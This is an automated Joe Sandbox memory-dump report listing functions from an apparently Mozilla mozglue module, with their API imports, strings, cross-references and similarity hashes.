Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ed7788b1f3fd67f20650c3af7e0277b06719314c67a77c7954a6c0efe4431be8
Instruction ID: 80b882b8833f1811e516fb6649d97191439c118d342d514e5336e6dda6b7b977
Opcode Fuzzy Hash: ed7788b1f3fd67f20650c3af7e0277b06719314c67a77c7954a6c0efe4431be8
Instruction Fuzzy Hash: 6E018BB07042049F9B08CF99D884C127BB8FF8AB18714806AE809CB741DB70E910CFA1

Function 6C94F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C94EE51,?), ref: 6C94F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C94F0C2

Strings

ole32, xrefs: 6C94F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C94F0DC
Could not find CoTaskMemFree, xrefs: 6C94F0E3

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 7d033ce887178589675c214f63341576f8beff18117d69236b5de5926f1239e2
Instruction ID: 099076ced84773c8f7f296bc2a7922468d488bd4067406442cbd566fb1fad949
Opcode Fuzzy Hash: 7d033ce887178589675c214f63341576f8beff18117d69236b5de5926f1239e2
Instruction Fuzzy Hash: B8E0207534C307DB9F141A729808A2637BC5BE350E320C02DE401D2E40EF20D510C76B

Function 6C980080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C957204), ref: 6C980088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9800A7
FreeLibrary.KERNEL32(?,6C957204), ref: 6C9800BE

Strings

wintrust.dll, xrefs: 6C980083
CryptCATAdminAcquireContext2, xrefs: 6C9800A1

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: e80c211786214211b1a1102648e9d9d668cfd1103a87900dfa2e9ddcadb97566
Instruction ID: a2e3871c0bec58f70e7ef23479e51e85b512f1f73a636b3f0a1225302e4c89eb
Opcode Fuzzy Hash: e80c211786214211b1a1102648e9d9d668cfd1103a87900dfa2e9ddcadb97566
Instruction Fuzzy Hash: 67E0927474A3059BEF00AF6698687117AF8AB0B749F214466A916C3650DBB8D200DF96

Function 6C9800D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C957235), ref: 6C9800D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9800F7
FreeLibrary.KERNEL32(?,6C957235), ref: 6C98010E

Strings

wintrust.dll, xrefs: 6C9800D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9800F1

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 73c23265e3afe82e37a4b2d659073608b5d791cadbec8a6e1e18cde9e0a86435
Instruction ID: a4735919b5e2b85e4ee9917a0cf1ff6c199d47fd6011732f0c8a6d8a7e0def40
Opcode Fuzzy Hash: 73c23265e3afe82e37a4b2d659073608b5d791cadbec8a6e1e18cde9e0a86435
Instruction Fuzzy Hash: C7E0127034E3059BEF009F2589897213AF8A707258F704465AA0BC3A50DBB0C3108B52

Function 6C9AC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9AC0E9), ref: 6C9AC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9AC437
FreeLibrary.KERNEL32(?,6C9AC0E9), ref: 6C9AC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9AC431
ntdll.dll, xrefs: 6C9AC413

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 5684f20f602fc45620bb23a13e1f9f8261f10cd038f21c13c7830e6b1006be21
Instruction ID: 22e2acdeebaf91bb6e455cf631342c175894711c3e976cd78b907e460c9e11fc
Opcode Fuzzy Hash: 5684f20f602fc45620bb23a13e1f9f8261f10cd038f21c13c7830e6b1006be21
Instruction Fuzzy Hash: C1E0B67470D309ABDF00BF71C9687127BF8A74AA0CF204157BA0696640EBB1D6018B95

Function 6C9A75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9A748B,?), ref: 6C9A75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9A75D7
FreeLibrary.KERNEL32(?,6C9A748B,?), ref: 6C9A75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9A75D1
ntdll.dll, xrefs: 6C9A75B3

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 3ca5153444fd244f326265cb2fc2f989bfa699888e1fbdb13e6b69e8e2d6fa19
Instruction ID: 8123d7b38beea73423a15956e82723f36b73b686c9c7e911276490e53231b80a
Opcode Fuzzy Hash: 3ca5153444fd244f326265cb2fc2f989bfa699888e1fbdb13e6b69e8e2d6fa19
Instruction Fuzzy Hash: 13E0B6B1748305ABEF006FA2C8487017AF8EB4BA1CF305425A905D2640EBB0C36ECF51

Function 6C9A7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9A7592), ref: 6C9A7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9A7627
FreeLibrary.KERNEL32(?,6C9A7592), ref: 6C9A763C

Strings

NtUnmapViewOfSection, xrefs: 6C9A7621
ntdll.dll, xrefs: 6C9A7603

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 5155178632fcd1ad83bb00997f44f4abfc09f0064275bd296302debf2d42d4d1
Instruction ID: 5069397de21fa3a9f519b429e3c4825a9a2c0c065513e2a3e13c04e7ec80d25e
Opcode Fuzzy Hash: 5155178632fcd1ad83bb00997f44f4abfc09f0064275bd296302debf2d42d4d1
Instruction Fuzzy Hash: EBE0B6B1709705ABDF006FA6C9087057AB8E75AB5DF204115E905D2751E7B0C2298F9A

Function 6C9ABE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9ABE49), ref: 6C9ABEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9ABEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9ABE49), ref: 6C9ABF38
RtlReAllocateHeap.NTDLL ref: 6C9ABF83
RtlFreeHeap.NTDLL ref: 6C9ABFA6

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: cf9280d5b1ff94e565698aa189d7ffe6efd89fc1feb5bf65bcaabf0e7e84e635
Instruction ID: bec889e2133a0ee59b99668e647b48e27966e286d403543fb012111b07a5e583
Opcode Fuzzy Hash: cf9280d5b1ff94e565698aa189d7ffe6efd89fc1feb5bf65bcaabf0e7e84e635
Instruction Fuzzy Hash: 09518F71A002098FE714DFA9CD80BAAB7B6FF98314F294639D519A7B54D730F9178B80

Function 6C998E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?,6C9BD734), ref: 6C998E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?,6C9BD734), ref: 6C998EBF
free.MOZGLUE(?,?,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?), ref: 6C998F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?,6C9BD734), ref: 6C998F46
free.MOZGLUE(?,?,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?), ref: 6C998F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C98B58D,?,?,?,?,?,?,?,6C9BD734,?,?,?), ref: 6C998F8F

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c7c984a2f09f31abc1bf07438f1a7b36ed66b7ca60f1aeb35156cef96389c4d0
Instruction ID: 9b8d51091f6c4056f975210e5596386310f20c155d35d3a4f171785c0783d646
Opcode Fuzzy Hash: c7c984a2f09f31abc1bf07438f1a7b36ed66b7ca60f1aeb35156cef96389c4d0
Instruction Fuzzy Hash: 7A519EB1A012168FEB18CF64D88066E77B6BF44318F29052ED917ABB40E731FA15CBD5

Function 6C9560E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9560F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C956180
free.MOZGLUE(?,?,?,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C956211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C956229
free.MOZGLUE(?,?,?,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C95625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C955FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C956271

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 80dc3f99b6cef031ea7a6bde266c9ec35a8d8c8084275e593886af23248a851f
Instruction ID: 6c8d083bd4535246fb3fcf7b7514a2148bda567ce55f70f5b6c7a84e2f253e31
Opcode Fuzzy Hash: 80dc3f99b6cef031ea7a6bde266c9ec35a8d8c8084275e593886af23248a851f
Instruction Fuzzy Hash: 6A518BB1A042068FEB14CFA8D8807BEB7B5EF45308F640539D616DBB51EB31EA64CB51

Function 6C9927E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99289A
free.MOZGLUE(?,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C9928F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C992910
free.MOZGLUE(00000001,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C992620,?,?,?,6C9860AA,6C985FCB,6C9879A3), ref: 6C99294E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce3fd913100685f989a132b55022347e39e244c52dda5e2a372952d814f95c98
Instruction ID: 6904d22df5ed6f4102c6ed5285dd8d9f233eb17988ef2199029a08b2a5aebd3a
Opcode Fuzzy Hash: ce3fd913100685f989a132b55022347e39e244c52dda5e2a372952d814f95c98
Instruction Fuzzy Hash: E241C2B1A046068FEB14CF68D98476A77FAFF45308F280939D556EB740E731E904CB91

Function 6C94CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C94CFF6
LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C94D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C94D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C94D139

Strings

MOZ_CRASH(), xrefs: 6C94D187

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a25d9f4da136a5ec27f9de12b1a213093c5632a696abe972558f9e71937ba6e6
Instruction ID: d9ac743959474250c917fefa40c18c9090b5764a3a6a0204ec68777f3d4ce21a
Opcode Fuzzy Hash: a25d9f4da136a5ec27f9de12b1a213093c5632a696abe972558f9e71937ba6e6
Instruction Fuzzy Hash: BD41EF36B052168FCB08CE7CCC9636A37B4EB49B14F244139E919E7784D7A19E108BD5

Function 6C944DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C944E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C944E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C944EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C944F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C944F1E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79692672506df3fd6ede3fd1b514639b7eb32f45cd3c66b7545a7d2990b39883
Instruction ID: 73ff9694e90763825d018ef0d9134b3826a784f2a5997d96238ac255c39cb05c
Opcode Fuzzy Hash: 79692672506df3fd6ede3fd1b514639b7eb32f45cd3c66b7545a7d2990b39883
Instruction Fuzzy Hash: 5A41DF716087019FC705CF69C88095BB7E8BF99344F10CA2DF86697B41DB30E968CB92

Function 6C951530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C95159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C9515BC
moz_xmalloc.MOZGLUE(-00000001,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C9515E7
free.MOZGLUE(?,?,?,?,?,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C951606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C95152B,?,?,?,?,6C951248,?), ref: 6C951637

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: cbbe7f1a1f53df9dbb4a3f4e19451d5c6c180cc5e174445e151b9d97c641a513
Instruction ID: 4238f17d13e0765546d0489b136e2416e5a7d238c66937bc67f09f1a8792b2f7
Opcode Fuzzy Hash: cbbe7f1a1f53df9dbb4a3f4e19451d5c6c180cc5e174445e151b9d97c641a513
Instruction Fuzzy Hash: 3A310872A011059BCB18CE78D85047E77A9BF96364BA40B2DE423DBBD8EB30D9258791

Function 6C9AAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAD9D

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAE01
GetLastError.KERNEL32(?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C9BE330,?,6C96C059), ref: 6C9AAE3D

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4633525ac1b5a90325f9922b43ae12b471a2f9e0f93b0285b4a11dc15b392676
Instruction ID: 8a22b3ad674ff86bd02bd7d9d4bab1fe58df03d970061cbd7d487f80379916be
Opcode Fuzzy Hash: 4633525ac1b5a90325f9922b43ae12b471a2f9e0f93b0285b4a11dc15b392676
Instruction Fuzzy Hash: 6E3165B1A003159FDB10DF798C44AABBBF8EF59614F15882DE84AE7700EB34D905CBA0

Function 6C9A5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C9BDCA0,?,?,?,6C97E8B5,00000000), ref: 6C9A5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C97E8B5,00000000), ref: 6C9A5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C97E8B5,00000000), ref: 6C9A5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C97E8B5,00000000), ref: 6C9A5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C97E8B5,00000000), ref: 6C9A5FD6

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 99d10e622c46d1651a51a4e6af23971a80f1853c0e8de3e4ea87e1abbb17b0a5
Instruction ID: fc51ea54e205b02e09bfc9ed483826289c30559d8509ec1dbfd038ce9eded176
Opcode Fuzzy Hash: 99d10e622c46d1651a51a4e6af23971a80f1853c0e8de3e4ea87e1abbb17b0a5
Instruction Fuzzy Hash: 7731E734304A008FD714CF69C898B2AB7F9BF89319BA48558E5568BB95C731ED52CB90

Function 6C94B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C94B532
moz_xmalloc.MOZGLUE(?), ref: 6C94B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C94B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C94B57E
free.MOZGLUE(00000000), ref: 6C94B58F

